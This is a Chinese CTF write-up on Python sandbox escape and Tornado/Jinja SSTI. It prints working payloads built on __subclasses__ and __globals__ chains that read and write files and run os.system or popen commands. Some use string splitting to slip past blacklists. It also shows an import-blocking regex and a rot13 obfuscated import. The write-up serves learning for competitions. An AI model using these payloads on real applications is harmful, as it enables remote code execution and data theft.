前两天打了国赛半决赛,很菜,有一道python tornado 的ssti差点就做出来了,很可惜。决定补一补python。
一些调用shell命令的方法
1 | import os,subprocess,commands,timeit |
import相关的基础
检测敏感包1
2
3
4
5
6
7import re
code = open('code.py').read()
pattern = re.compile('import\s+(os|commands|subprocess|sys)')
match = re.search(pattern,code)
if match:
print "forbidden module import detected"
raise Exception
引入包的方式:import
函数:1
2a=__import__('pbzznaqf'.decode('rot_13'))#pbzznaqf=>rot13=>commands
a.getoutput('ifconfig')
importlib库:1
2
3import importlib
a = importlib.import_module("pbzznaqf".decode('rot_13')
print a.getoutput('ifconfig')
import进阶
python中,不用引入直接使用的内置函数称为builtin函数,随着__builtin__
这一个module自动被引入到环境中(在python3.x 版本中,__builtin__
变成了builtins,而且需要引入)
像open(),int(),chr()这些函数,相当于__builtin__.open()
…
可以删掉:del __builtin__.chr
,同理,可以删掉危险函数。__builtin__
是默认引入的,而reload函数用于重新载入模块,只需reload(__builtin__)
即可重新得到完整的__builtin__
模块了
but,reload函数也是在__builtin__
里面的,如果它也被删掉了,可以这么做:1
2import imp
imp.reload(__builtin__)
即可重新获得完整的__builtin__
模块
dir()与__dict__
这两种方法在沙箱逃逸中都很有用,可以列出一个模组/类/对象下面 所有的属性和函数,__dict__
是用来存储对象属性的一个字典,其键为属性名,值为属性的值
内联函数
python的object类中集成了很多基础函数,创建object的方法:1
2().__class__.__bases__[0]
''.__class__.__mro__[2]
创建object后,可以调用__subclasses__
搞事情了:1
2
3
4
5
6
7
8
9
10
11
12
13#读文件
().__class__.__bases__[0].__subclasses__()[40](r'/flag').read()
().__class__.__bases__[0].__subclasses__()[40]('/flag','r').read()
"".__class__.__mro__[-1].__subclasses__()[40]('/tmp/flag').read()
[].__class__.__mro__[-1].__subclasses__()[40]('/tmp/flag').read()
#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')
#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()')
[].__class__.__base__.__subclasses__()[59]()._module.linecache.os.system('ls')
[].__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].system('ls')
#以上语句,貌似开头的[]和()效果是一样的
#另外,不会这么舒服让你读的,要用到反射和__dict__去绕过
当访问某个对象的属性时,会无条件的调用__getattribute__
这个方法。比如调用t.__dict__
,其实执行了t.__getattribute__("__dict__")
函数, 这个方法只适用于新式类。
新式类就是集成自object或者type的类。
上面有一句可以改写成:用__dict__
还是__getattribute__
得看调用者是什么类型1
[].__class__.__base__.__subclasses__()[71].__dict__["__in"+"it__"].__getattribute__("__glo"+"bals__")['os'].system('ls /tmp')
在这里,贴一下前两天国赛web9的列目录的payload:1
2
3
4
5
6{{getattr(getattr(().__class__.__bases__[0].__subclasses__()[59],"__in"+"it__"),"func_glo"+"bals")["linecache"].__dict__["o"+"s"].__dict__["sy"+"stem"]('ls /tmp')}}
#dict和globals都是字典类型,用[]键值对访问,也可以通过values(),keys()这样的方法来转换成list,通过下标来访问
#func_globals是一个保存所有全局对象的字典,函数通过此字典查找其中所有用到的全局对象。
#注意,用system(ls /...)的话,在这题里只会显示最后一行。。迷
#这个可以列目录
{{[].__class__.__base__.__subclasses__()[71].__dict__["__in"+"it__"].__getattribute__("__glo"+"bals__")['o'+'s'].__dict__['po'+'pen']('ls /home/ciscn').read()}}
__globals__ ,func_globals
在官方文档的定义:
A reference to the dictionary that holds the function’s global variables — the global namespace of the module in which the function was defined.
object.__dict__
:
A dictionary or other mapping object used to store an object’s (writable) attributes.
class.__mro__:
This attribute is a tuple of classes that are considered when looking for base classes during method resolution.
class.__subclasses__()
Each new-style class keeps a list of weak references to its immediate subclasses. This method returns a list of all those references still alive. Example:
>>> int.__subclasses__()
[<type 'bool'>]
几个__subclasses__
的属性:
{{}}的结构是SSTI,我会在另一篇文章中详细讲一下SSTI,然后,还用到了反射,因为后台代码有一个黑名单,用反射即可无视。在这里必须感谢一下广州外语外贸大学Pr0ph3t大佬的教导。
反射
有时候需要通过一个字符串去调用相应的函数,数量多了的话,不可能一个一个if来写,这时候要用到反射机制。
先说明一下getattr函数的使用方法:第一个参数是一个对象或者模块,第二个参数是个字符串。
比如getattr(commons,inp),getattr函数让程序去commons这个模块里,寻找一个叫inp的成员(是叫,不是等于),这个过程就相当于我们把一个字符串变成一个函数名的过程。然后,把获得的结果赋值给func这个变量,实际上func就指向了commons里的某个函数。最后通过调用func函数,实现对commons里函数的调用。这完全就是一个动态访问的过程,一切都不写死,全部根据用户输入来变化。
而hasattr(commons,inp)可以判断commons中是否有这个成员,可以防止非法输入错误。
访问属性的方法还有
__getattr__()
和__getattribute__()
,区别如下:如果某个类定义了
__getattribute__()
方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。如果某个类定义了
__getattr__()
方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.__getattr__('color')
;而只会返回 x.color 已定义好的值。对于python来说,属性或者函数都可以被理解成一个属性,且可以通过
__getattribute__
获取。而
__dict__[inp]
,可以用来以键名方式获得属性值1 | class Comrade(object): |
动态导入模块
python提供了一个特殊的方法:__import__
(字符串参数)。通过它,我们就可以实现类似的反射功能。__import__()
方法会根据参数,动态的导入同名的模块。
对于lib.xxx.xxx.xxx这一类的模块导入路径,__import__
默认只会导入最开头的圆点左边的目录。解决方法:1
2
3
4
5
6
7
8
9
10
11def run():
inp = input("请输入您想访问页面的url: ").strip()
modules, func = inp.split("/")
obj = __import__("lib." + modules, fromlist=True) # 注意fromlist参数
if hasattr(obj, func):
func = getattr(obj, func)
func()
else:
print("404")
if __name__ == '__main__':
run()
system还是popen?
做题时还遇到了一个问题,一开始,我用的列目录payload是:1
{{[].__class__.__base__.__subclasses__()[71].__dict__['__in'+'it__'].__getattrbute__('func_glo'+'bals')['o'+'s'].__dict__['syst'+'em']('ls /home/ciscn')}}
在本地测试,发现除了输出的正常结果以外,还会返回一个状态码但是,在题目中,只会回显状态码进一步测试,发现用python的os.system命令,都会多返回一个状态码再结合题目的情况,可以看出,python的system命令执行结果会输出在标准output,但是返回的却只有一个状态码,坑!
所以,改用popen1
[].__class__.__base__.__subclasses__()[71].__dict__["__in"+"it__"].__getattribute__("__glo"+"bals__")['o'+'s'].__dict__['po'+'pen']('ls /home/ciscn').read()
非常完美。
总结
比赛时,由于不知道怎么去列目录,一直在用读文件的命令去各种试,以为flag的文件就叫flag,读过/home/ciscn/flag,没有成功,后面到了fixit才知道,flag在/home/ciscn/flag.txt中,虽然很可惜,但是也没什么好说的,如果flag的文件名改得更刁钻一点,那我就更没办法了,只能怪自己还是太菜,技术不够。后面复现了一下,发现这题可以花式吊锤的。
你在一生中,可以有所作为的时候只有一次。那就是现在,然而,许多人却在悔恨过去和担忧未来之中浪费了大好时光。
References
https://xz.aliyun.com/t/52
https://www.anquanke.com/post/id/107000
https://www.anquanke.com/post/id/85571
https://blog.csdn.net/qq_35078631/article/details/78504415
https://www.cnblogs.com/Guido-admirers/p/6206212.html